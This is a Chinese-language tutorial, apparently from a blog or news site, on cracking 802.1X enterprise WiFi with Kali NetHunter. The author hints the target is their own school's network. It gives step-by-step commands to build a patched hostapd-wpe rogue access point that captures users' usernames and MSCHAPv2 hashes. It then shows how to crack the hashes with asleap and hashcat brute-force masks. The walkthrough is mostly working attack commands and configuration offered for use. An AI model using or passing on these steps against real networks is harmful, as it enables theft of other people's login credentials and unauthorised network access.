使用Kali Nethunter破解802.1x安全性WiFi

新聞 02-21

背景

筆者學校的無線網路採用1x認證方式，所以你懂的。

之前參考GitHub上的一個項目在Kali2.0上部署成功，但是在手機端的情況比較不同，猜測是因為架構有一定區別所導致的，而且該網頁上的Hostapd版本比較低，遂繼續查找，找到了aircrack-ng的GitHub的某一個頁面上展示了Hostapd-wpe的用法（詳情點擊閱讀原文查看）

頁面上寫的比較詳細，但是實踐中筆者還是踩了不少坑，下面開始：（注意：本文在Kali 2.0及以上的版本中應該也適用！但是本人沒有測試，還請測試通過的朋友留個言）

依賴

pkg-confi

libssl 1.0

libnl3 (and genl)

sqlite3

安裝依賴

apt-get install

libssl1.0-dev

libnl-genl-3-dev

libnl-3-dev

pkg-config

libsqlite3-dev

由於手機上敲指令過於蛋疼，筆者自己ssh到了手機上，在Kali的應用中可以直接打開SSH服務。

用ftp或者wget之類的將patch文件下載到手機上，這裡筆者的路徑是 ~/1x/ ，執行：

註：補丁文件（點擊閱讀原文查看鏈接）

下載、編譯、安裝

# 下載

wget http://hostap.epitest.fi/releases/hostapd-2.6.tar.gz

tar -zxf hostapd-2.6.tar.gz

cd hostapd-2.6

# 打補丁

patch -p1 < ../hostapd-wpe.patch

cd hostapd

# 編譯安裝

make

make install

make wpe

製作證書

cd /etc/hostapd-wpe/certs ./bootstrap make install

這裡會出現關於gendh命令未找到的錯誤，原因是openssl將gendh已經換成了dhparam，在該目錄下的Makefile中將gendh替換為dhparam即可。

運行

請注意在Nethunter中已經預先安裝了hostapd，但是那個版本的hostapd是不支持1x的。所以請切換到我們部署的hostapd目錄下，運行：

./hostapd ./hostapd-wpe.conf

這裡的配置文件需要修改，需要修改的地方有：

interface=wlan1ssid=YOUR_SSIDdriver=nl80211hw_mode=g#fragm_threshold=-1#rts_threshold=-1# 以上兩行需要添加註釋

之後再運行，即可成功。日誌的數據為該目錄下的hostapd-wpe.log文件，其記載了用戶的用戶名和MSCHAPv2認證hash值。

破解

由於採用MSCHAPv2認證，所以密碼並不會明文顯示。主要有兩種方法，其一是直接用系統中的工具asleep進行破解，舉個栗子：

asleep

採集到的日誌樣例：

username: jdslfkjschallenge: bc:87:6c:48:37:d3:92:6eresponse: 2d:00:61:59:56:06:02:dd:35:4a:0f:99:c8:6b:e1:fb:a3:04:ca:82:40:92:7c:f0

執行：

$ asleap -C bc:87:6c:48:37:d3:92:6e -R 2d:00:61:59:56:06:02:dd:35:4a:0f:99:c8:6b:e1:fb:a3:04:ca:82:40:92:7c:f0 -W wordlist asleap 2.2 - actively recover LEAP/PPTP passwords. hash bytes: b1ca NT hash: e614b958df9df49ec094b8730f0bb1capassword: bradtest

其中wordlist需要自己準備

hashcat

另一種方法是利用hashcat進行破解，其好處是可以根據掩碼實時生產字典爆破而且可以使用GPU+CPU資源進行破解，速度比較科學。

關於hashcat的獲取，請去官方網站下載。

hashcat brief introduction

hashcat [選項] ... hash|hashfile|hccapfile [字典|掩碼|路徑]-m, --hash-type /哈希值類型，我們使用5500 NetNTLMv1-a, --attack-mode /攻擊模式，這裡使用3 暴力破解-d, --opencl-devices /使用設備，1：CPU 2：GPU 3：FPGA，DSP-o, --outfile /輸出文件路徑-i, --incerment /掩碼破擊時使用，設置掩碼上下限

筆者這裡使用的參數如下，在Windows機器上執行：

./hashcat64.exe -d 1 -a 3 -m 5500 -o "output path" -i --increment-min=1 --increment-max=8 -1 ?l "input filepath" ?1?1?1?1?1?1?1?1

其中，-1 ?l 代表定義1號掩碼的格式為所有小寫字母，參考掩碼錶：

? | Charset ===+========= l | abcdefghijklmnopqrstuvwxyz u | ABCDEFGHIJKLMNOPQRSTUVWXYZ d | 0123456789 s | !"#$%&"()*+,-./:;=?@[]^_`{|}~ a | ?l?u?d?s b | 0x00 - 0xff

將之前得到的輸出結果按照
username::::response:challenge
的格式存儲在文本文檔中，注意去掉hash值中的冒號。運行hashcat

後記

為了方便起見，可以將其作為用戶定義腳本存儲在nethunter的custom command中：